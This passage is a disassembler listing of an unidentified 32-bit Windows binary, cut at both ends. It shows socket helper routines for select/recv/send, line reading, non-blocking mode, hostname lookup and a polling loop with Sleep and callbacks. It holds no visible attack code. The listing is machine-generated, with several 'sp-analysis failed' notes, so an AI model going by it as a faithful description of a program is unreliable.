[esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi ; GetTickCount sub eax, ebp cmp eax, ebx ja loc_13C4E34 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call select ; select test eax, eax jz short loc_13C4DBF mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call near ptr 13E1380h test eax, eax jnz loc_13C4E34 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call near ptr 13E1380h test eax, eax jnz short loc_13C4DCC loc_13C4DBF: ; CODE XREF: sub_13C4CD0+BCj call sub_13ABD5B test al, al jnz loc_13C4D2B loc_13C4DCC: ; CODE XREF: sub_13C4CD0+39j ; sub_13C4CD0+48j ... call sub_13ABD5B test al, al jz short loc_13C4E34 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx call recv ; recv mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_13C4E01 mov [ecx], eax loc_13C4E01: ; CODE XREF: sub_13C4CD0+12Dj cmp eax, 0FFFFFFFFh jz short loc_13C4E19 test eax, eax jz short loc_13C4E19 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_13C4E19: ; CODE XREF: sub_13C4CD0+134j ; sub_13C4CD0+138j call WSAGetLastError ; WSAGetLastError pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_13C4E34: ; CODE XREF: sub_13C4CD0+13j ; sub_13C4CD0+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_13C4CD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4EB0 proc near ; CODE XREF: sub_13ABA18j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_13C4F01 mov dl, [ecx+80Bh] test dl, dl jz short loc_13C4F01 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push 0 push ecx push edx push eax call send ; send mov ecx, [esp+arg_8] test ecx, ecx jz short loc_13C4EE2 mov [ecx], eax loc_13C4EE2: ; CODE XREF: sub_13C4EB0+2Ej cmp eax, 0FFFFFFFFh jz short loc_13C4EF0 test eax, eax jz short loc_13C4EF0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_13C4EF0: ; CODE XREF: sub_13C4EB0+35j ; sub_13C4EB0+39j call WSAGetLastError ; WSAGetLastError cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_13C4F01: ; CODE XREF: sub_13C4EB0+9j ; sub_13C4EB0+13j xor al, al retn 0Ch sub_13C4EB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C4F30 proc near ; CODE XREF: sub_13ABDB0j var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+14h+var_4], esi call sub_13ABD5B test al, al jnz short loc_13C4F4C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_13C4F4C: ; CODE XREF: sub_13C4F30+12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_13C4F62 loc_13C4F58: ; CODE XREF: sub_13C4F30+6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_13C4F62: ; CODE XREF: sub_13C4F30+26j mov eax, [esp+14h+arg_4] mov ebp, [esp+14h+arg_0] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+14h+arg_0], 1 jle short loc_13C4FC6 mov edi, ebp loc_13C4F7B: ; CODE XREF: sub_13C4F30+94j cmp edi, ebx jz short loc_13C4FC6 cmp byte ptr [esp+14h+arg_0], bl jz short loc_13C4FC6 call sub_13ABD5B test al, al jz short loc_13C4FC6 mov ecx, [esp+14h+var_4] push ebx push 1 push edi call sub_13ABD60 test al, al jz short loc_13C4F58 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_13C4FB1 cmp al, 0Dh jz short loc_13C4FB1 cmp al, bl jnz short loc_13C4FB9 loc_13C4FB1: ; CODE XREF: sub_13C4F30+77j ; sub_13C4F30+7Bj mov [esi+ebp-1], bl mov [esp+20h+var_8], bl loc_13C4FB9: ; CODE XREF: sub_13C4F30+7Fj mov ecx, [esp+20h+var_4] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_13C4F7B loc_13C4FC6: ; CODE XREF: sub_13C4F30+47j ; sub_13C4F30+4Dj ... mov edx, [esp+20h+var_4] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 sub_13C4F30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5010 proc near ; CODE XREF: sub_13AC580j var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+14h+var_4], esi call sub_13ABD5B test al, al jnz short loc_13C502C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_13C502C: ; CODE XREF: sub_13C5010+12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_13C5042 loc_13C5038: ; CODE XREF: sub_13C5010+6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_13C5042: ; CODE XREF: sub_13C5010+26j mov eax, [esp+14h+arg_4] mov ebp, [esp+14h+arg_0] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+14h+arg_0], 1 jle short loc_13C50AD mov edi, ebp loc_13C505B: ; CODE XREF: sub_13C5010+9Bj cmp edi, ebx jz short loc_13C50AD cmp byte ptr [esp+14h+arg_0], bl jz short loc_13C50AD call sub_13ABD5B test al, al jz short loc_13C50AD mov ecx, [esp+14h+var_4] push ebx push 1 push edi call sub_13ABD60 test al, al jz short loc_13C5038 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_13C508D cmp al, bl jnz short loc_13C50A0 loc_13C508D: ; CODE XREF: sub_13C5010+77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_13C509A mov [esi+ebp-1], bl jmp short loc_13C509C ; --------------------------------------------------------------------------- loc_13C509A: ; CODE XREF: sub_13C5010+82j mov [edi], bl loc_13C509C: ; CODE XREF: sub_13C5010+88j mov [esp+20h+var_8], bl loc_13C50A0: ; CODE XREF: sub_13C5010+7Bj mov ecx, [esp+20h+var_4] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_13C505B loc_13C50AD: ; CODE XREF: sub_13C5010+47j ; sub_13C5010+4Dj ... mov edx, [esp+20h+var_4] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 sub_13C5010 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C50F0 proc near ; CODE XREF: sub_13AB482j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_13ABD5B test al, al jnz short loc_13C5102 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_13C5102: ; CODE XREF: sub_13C50F0+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_13C5113 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_13C5113: ; CODE XREF: sub_13C50F0+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax call getsockname ; getsockname pop esi retn 8 sub_13C50F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5140 proc near ; CODE XREF: sub_13ABC93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_13ABD5B test al, al jnz short loc_13C5152 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_13C5152: ; CODE XREF: sub_13C5140+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_13C5163 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_13C5163: ; CODE XREF: sub_13C5140+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax call getpeername ; getpeername pop esi retn 8 sub_13C5140 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5190 proc near ; CODE XREF: sub_13AC03Fj var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_13C51CF cmp eax, 0FFFFFFFFh jz short loc_13C51C5 cmp [esi+80Bh], cl jz short loc_13C51C5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13C51C5: ; CODE XREF: sub_13C5190+1Ej ; sub_13C5190+26j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13C51CF: ; CODE XREF: sub_13C5190+19j lea edx, [esp+110h+var_10C] mov [esp+110h+var_100], eax push edx lea edx, [esp+114h+var_104] push ecx push edx inc eax push ecx push eax mov [esp+124h+var_104], 1 mov [esp+124h+var_10C], ecx mov [esp+124h+var_108], ecx call select ; select test eax, eax jnz short loc_13C5205 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13C5205: ; CODE XREF: sub_13C5190+69j mov ecx, [esi+806h] lea eax, [esp+110h+var_104] push eax push ecx call near ptr 13E1380h test eax, eax setnz al pop esi add esp, 10Ch retn sub_13C5190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5260 proc near ; CODE XREF: sub_13ABAE5j var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_13C527D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13C527D: ; CODE XREF: sub_13C5260+11j mov eax, [esi+806h] lea edx, [esp+110h+var_10C] push edx lea edx, [esp+114h+var_104] mov [esp+114h+var_100], eax push edx push ecx inc eax push ecx push eax mov [esp+124h+var_104], 1 mov [esp+124h+var_10C], ecx mov [esp+124h+var_108], ecx call select ; select test eax, eax jnz short loc_13C52B9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_13C52B9: ; CODE XREF: sub_13C5260+4Dj mov ecx, [esi+806h] lea eax, [esp+110h+var_104] push eax push ecx call near ptr 13E1380h test eax, eax setnz al pop esi add esp, 10Ch retn sub_13C5260 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5300 proc near ; CODE XREF: sub_13ABB3Aj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call strncpy ; strncpy xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 sub_13C5300 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5370 proc near ; CODE XREF: sub_13ABCBBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_13C53A0 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 call ioctlsocket ; ioctlsocket retn 4 ; --------------------------------------------------------------------------- loc_13C53A0: ; CODE XREF: sub_13C5370+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 call ioctlsocket ; ioctlsocket retn 4 sub_13C5370 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C53F0 proc near ; CODE XREF: sub_13AB586j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_13AC035 mov dword ptr [esi], offset dword_43E0C0 mov eax, esi pop esi retn sub_13C53F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5420 proc near ; CODE XREF: sub_13ABD15j sub_13AC274j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABC6B test [esp+4+arg_0], 1 jz short loc_13C5438 push esi call near ptr 13E0C02h add esp, 4 loc_13C5438: ; CODE XREF: sub_13C5420+Dj mov eax, esi pop esi retn 4 sub_13C5420 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5450 proc near ; CODE XREF: sub_13ABC6Bj mov dword ptr [ecx], offset dword_43E0C0 add ecx, 4 jmp sub_13AC3C8 sub_13C5450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5470 proc near ; CODE XREF: sub_13ABA36j arg_0 = dword ptr 4 push esi push edi call sub_13ABD5B test al, al jnz short loc_13C5482 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_13C5482: ; CODE XREF: sub_13C5470+9j mov esi, [esp+8+arg_0] push esi call inet_addr ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_13C54D5 push esi call gethostbyname ; gethostbyname mov edi, eax test edi, edi jnz short loc_13C54A7 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_13C54A7: ; CODE XREF: sub_13C5470+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_13C54BC loc_13C54B1: ; CODE XREF: sub_13C5470+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_13C54B1 loc_13C54BC: ; CODE XREF: sub_13C5470+3Fj call sub_13AC2EC dec esi push esi push 0 call sub_13AC5A3 mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_13C54D5: ; CODE XREF: sub_13C5470+20j pop edi pop esi retn 4 sub_13C5470 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5500 proc near ; CODE XREF: sub_13AC495j var_78 = dword ptr -78h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = dword ptr -64h var_60 = byte ptr -60h var_58 = byte ptr -58h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = byte ptr -38h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 43AD27h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+50h+var_44], ebx call sub_13ABD5B test al, al jnz short loc_13C553F mov eax, [esp+50h+arg_4] mov esi, [esp+50h+arg_0] push eax mov ecx, esi call sub_13ABC61 jmp loc_13C56EB ; --------------------------------------------------------------------------- loc_13C553F: ; CODE XREF: sub_13C5500+28j mov ecx, [esp+50h+arg_4] push ecx lea ecx, [esp+54h+var_24] call sub_13ABC61 mov edi, 1 lea ecx, [esp+54h+var_28] mov [esp+54h+var_8], edi call sub_13ABBE4 test eax, eax push offset byte_446F80 jnz short loc_13C557C mov esi, [esp+58h] mov ecx, esi call sub_13ABC61 mov [esp+58h+var_4C], edi jmp loc_13C56DE ; --------------------------------------------------------------------------- loc_13C557C: ; CODE XREF: sub_13C5500+66j lea ecx, [esp+58h+var_28] call sub_13AB6EE test eax, eax push offset byte_446F80 jnz short loc_13C55A2 mov esi, [esp+5Ch+var_4] mov ecx, esi call sub_13ABC61 mov [esp+5Ch+var_50], edi jmp loc_13C56DE ; --------------------------------------------------------------------------- loc_13C55A2: ; CODE XREF: sub_13C5500+8Cj lea ecx, [esp+5Ch+var_44] call sub_13ABC61 lea edx, [esp+5Ch+var_4C] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+70h+var_30] mov [esp+70h+var_10], 2 call sub_13ABBE4 push eax call near ptr 13E13E6h cmp eax, ebx jz short loc_13C55E6 mov esi, [esp+74h+var_20] lea eax, [esp+74h+var_60] push eax mov ecx, esi call sub_13AB8C9 mov [esp+78h+var_6C], edi jmp loc_13C56D0 ; --------------------------------------------------------------------------- loc_13C55E6: ; CODE XREF: sub_13C5500+CBj mov edi, [esp+74h+var_64] mov esi, offset dword_443DE4 mov ecx, [edi] mov eax, [ecx+4] loc_13C55F4: ; CODE XREF: sub_13C5500+112j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13C5618 cmp cl, bl jz short loc_13C5614 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13C5618 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_13C55F4 loc_13C5614: ; CODE XREF: sub_13C5500+FEj xor eax, eax jmp short loc_13C561D ; --------------------------------------------------------------------------- loc_13C5618: ; CODE XREF: sub_13C5500+FAj ; sub_13C5500+108j sbb eax, eax sbb eax, 0FFFFFFFFh loc_13C561D: ; CODE XREF: sub_13C5500+116j cmp eax, ebx jz short loc_13C568B push ebp loc_13C5622: ; CODE XREF: sub_13C5500+175j ; sub_13C5500+179j call GetTickCount ; GetTickCount and eax, 0Fh cmp al, 8 jnz short loc_13C5636 cmp word ptr [edi+8], 0Fh jz short loc_13C567B loc_13C5636: ; CODE XREF: sub_13C5500+12Dj mov edi, [edi] mov ebp, [esp+78h+var_64] cmp edi, ebx jnz short loc_13C5642 mov edi, ebp loc_13C5642: ; CODE XREF: sub_13C5500+13Ej mov eax, [edi+4] mov esi, offset dword_443DE4 loc_13C564A: ; CODE XREF: sub_13C5500+168j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_13C566E cmp cl, bl jz short loc_13C566A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_13C566E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_13C564A loc_13C566A: ; CODE XREF: sub_13C5500+154j xor eax, eax jmp short loc_13C5673 ; --------------------------------------------------------------------------- loc_13C566E: ; CODE XREF: sub_13C5500+150j ; sub_13C5500+15Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_13C5673: ; CODE XREF: sub_13C5500+16Cj cmp eax, ebx jnz short loc_13C5622 mov edi, ebp jmp short loc_13C5622 ; --------------------------------------------------------------------------- loc_13C567B: ; CODE XREF: sub_13C5500+134j mov eax, [edi+18h] lea ecx, [esp+78h+var_60] push eax call sub_13AB9D7 pop ebp jmp short loc_13C5698 ; --------------------------------------------------------------------------- loc_13C568B: ; CODE XREF: sub_13C5500+11Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+78h+var_60] call sub_13AB9D7 loc_13C5698: ; CODE XREF: sub_13C5500+189j push offset byte_446F80 lea ecx, [esp+7Ch+var_64] call sub_13AB6EE test eax, eax jnz short loc_13C56B8 mov edx, [esp+7Ch+var_24] lea ecx, [esp+7Ch+var_68] push edx call sub_13AB9D7 loc_13C56B8: ; CODE XREF: sub_13C5500+1A8j mov esi, [esp+80h+var_2C] lea eax, [esp+80h+var_6C] push eax mov ecx, esi call sub_13AB8C9 mov [esp+84h+var_78], 1 loc_13C56D0: ; CODE XREF: sub_13C5500+E1j lea ecx, [esp+84h+var_70] mov [esp+84h+var_38], 1 call sub_13AB626 loc_13C56DE: ; CODE XREF: sub_13C5500+77j ; sub_13C5500+9Dj lea ecx, [esp+84h+var_58] mov [esp+84h+var_38], bl call sub_13AB626 loc_13C56EB: ; CODE XREF: sub_13C5500+3Aj mov ecx, [esp+84h+var_40] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 sub_13C5500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C57A0 proc near ; CODE XREF: sub_13AC535j push esi mov esi, ecx call sub_13AC26A push 0 lea ecx, [esi+15h] call sub_13AC035 mov dword ptr [esi], offset dword_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn sub_13C57A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C57E0 proc near ; CODE XREF: sub_13AB7FCj sub_13AC418j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABFCC test [esp+4+arg_0], 1 jz short loc_13C57F8 push esi call near ptr 13E0C02h add esp, 4 loc_13C57F8: ; CODE XREF: sub_13C57E0+Dj mov eax, esi pop esi retn 4 sub_13C57E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5810 proc near ; CODE XREF: sub_13ABFCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AD48h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_13AC3C8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AC431 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13C5810 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5880 proc near ; CODE XREF: sub_13AC13Ej arg_0 = dword ptr 4 push esi mov esi, ecx call sub_13AC26A push 0 lea ecx, [esi+15h] call sub_13AC035 mov eax, [esp+8] mov ecx, [esp+8+arg_0] mov [esi+11h], eax mov dword ptr [esi], offset dword_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 sub_13C5880 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C58C0 proc near ; CODE XREF: sub_13ABA7Cj var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_13C59D0 mov ecx, [edi+823h] test ecx, ecx jz loc_13C59D0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_13AB888 mov ebp, Sleep test al, al jnz short loc_13C5923 loc_13C58F9: ; CODE XREF: sub_13C58C0+61j mov al, [edi+10h] test al, al jz loc_13C59BF mov al, ds:byte_E2AA94 test al, al jz short loc_13C5923 push 7D0h call ebp ; Sleep mov eax, [edi+11h] mov ecx, ebx push eax call sub_13AB888 test al, al jz short loc_13C58F9 loc_13C5923: ; CODE XREF: sub_13C58C0+37j ; sub_13C58C0+4Bj mov al, [edi+10h] test al, al jz loc_13C59BF loc_13C592E: ; CODE XREF: sub_13C58C0+F9j mov al, ds:byte_E2AA94 test al, al jz loc_13C59BF test esi, esi jnz short loc_13C595E push 80Eh call near ptr 13E0C1Ah add esp, 4 test eax, eax jz short loc_13C595A push esi mov ecx, eax call sub_13AC035 jmp short loc_13C595C ; --------------------------------------------------------------------------- loc_13C595A: ; CODE XREF: sub_13C58C0+8Ej xor eax, eax loc_13C595C: ; CODE XREF: sub_13C58C0+98j mov esi, eax loc_13C595E: ; CODE XREF: sub_13C58C0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_13ABF81 test al, al jnz short loc_13C5977 push 7D0h call ebp ; Sleep jmp short loc_13C59B4 ; --------------------------------------------------------------------------- loc_13C5977: ; CODE XREF: sub_13C58C0+ACj xor ecx, ecx lea edx, [esp+3Ch+var_2C] mov [esp+3Ch+var_28], ecx lea eax, [esp+3Ch+var_28] mov [esp+3Ch+var_24], ecx push edx mov [esp+40h+var_20], ecx push eax mov [esp+44h+var_1C], ecx mov ecx, esi mov [esp+44h+var_2C], 10h call sub_13ABC93 mov al, byte ptr [esp+44h+var_2C] test al, al jz short loc_13C59B4 push esi call dword ptr [edi+823h] add esp, 4 loc_13C59B4: ; CODE XREF: sub_13C58C0+B5j ; sub_13C58C0+E8j mov al, [edi+10h] test al, al jnz loc_13C592E loc_13C59BF: ; CODE XREF: sub_13C58C0+3Ej ; sub_13C58C0+68j ... mov ecx, ebx call sub_13AB8DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_13C59D0: ; CODE XREF: sub_13C58C0+Bj ; sub_13C58C0+19j xor eax, eax pop edi add esp, 14h retn sub_13C58C0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5A30 proc near ; CODE XREF: sub_13AC021j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+10h+arg_4], 1 jle short loc_13C5AA5 mov esi, ebp loc_13C5A4F: ; CODE XREF: sub_13C5A30+73j cmp esi, ebx jz short loc_13C5AA5 cmp byte ptr [esp+10h+arg_4], bl jz short loc_13C5AA5 mov ecx, [esp+10h+arg_0] push ebx push 1 push esi push ecx call recv ; recv cmp eax, ebx jz short loc_13C5AB4 cmp eax, 0FFFFFFFFh jz short loc_13C5AB4 call WSAGetLastError ; WSAGetLastError cmp eax, 2733h jz short loc_13C5AAD mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_13C5A90 cmp al, 0Dh jz short loc_13C5A90 cmp al, bl jnz short loc_13C5A98 loc_13C5A90: ; CODE XREF: sub_13C5A30+56j ; sub_13C5A30+5Aj mov [edi+ebp-1], bl mov byte ptr [esp+10h+arg_4], bl loc_13C5A98: ; CODE XREF: sub_13C5A30+5Ej mov edx, [esp+10h+arg_8] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_13C5A4F loc_13C5AA5: ; CODE XREF: sub_13C5A30+1Bj ; sub_13C5A30+21j ... mov eax, [esp+10h+arg_8] mov [eax+ebp-1], bl loc_13C5AAD: ; CODE XREF: sub_13C5A30+4Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_13C5AB4: ; CODE XREF: sub_13C5A30+3Aj ; sub_13C5A30+3Fj pop edi pop esi pop ebp xor al, al pop ebx retn sub_13C5A30 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C5AF0 proc near ; CODE XREF: sub_13AB680j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_13C5B5A mov edi, ebp loc_13C5B0F: ; CODE XREF: sub_13C5AF0+68j cmp edi, ebx jz short loc_13C5B5A cmp byte ptr [esp+10h+arg_4], bl jz short loc_13C5B5A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call recv ; recv test eax, eax jz short loc_13C5B69 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_13C5B3A cmp al, bl jnz short loc_13C5B4D loc_13C5B3A: ; CODE XREF: sub_13C5AF0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_13C5B47 mov [esi+ebp-1], bl jmp short loc_13C5B49 ; --------------------------------------------------------------------------- loc_13C5B47: ; CODE XREF: sub_13C5AF0+4Fj mov [edi], bl loc_13C5B49: ; CODE XREF: sub_13C5AF0+55j mov byte ptr [esp+10h+arg_4], bl loc_13C5B4D: ; CODE XREF: sub_13C5AF0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_13C5B0F loc_13C5B5A: ; CODE XREF: sub_13C5AF0+1Bj ; sub_13C5AF0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_13C5B69: ; CODE XREF: sub_13C5AF0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_13C5AF0 endp ; --------------------------------------------------------------------------- db 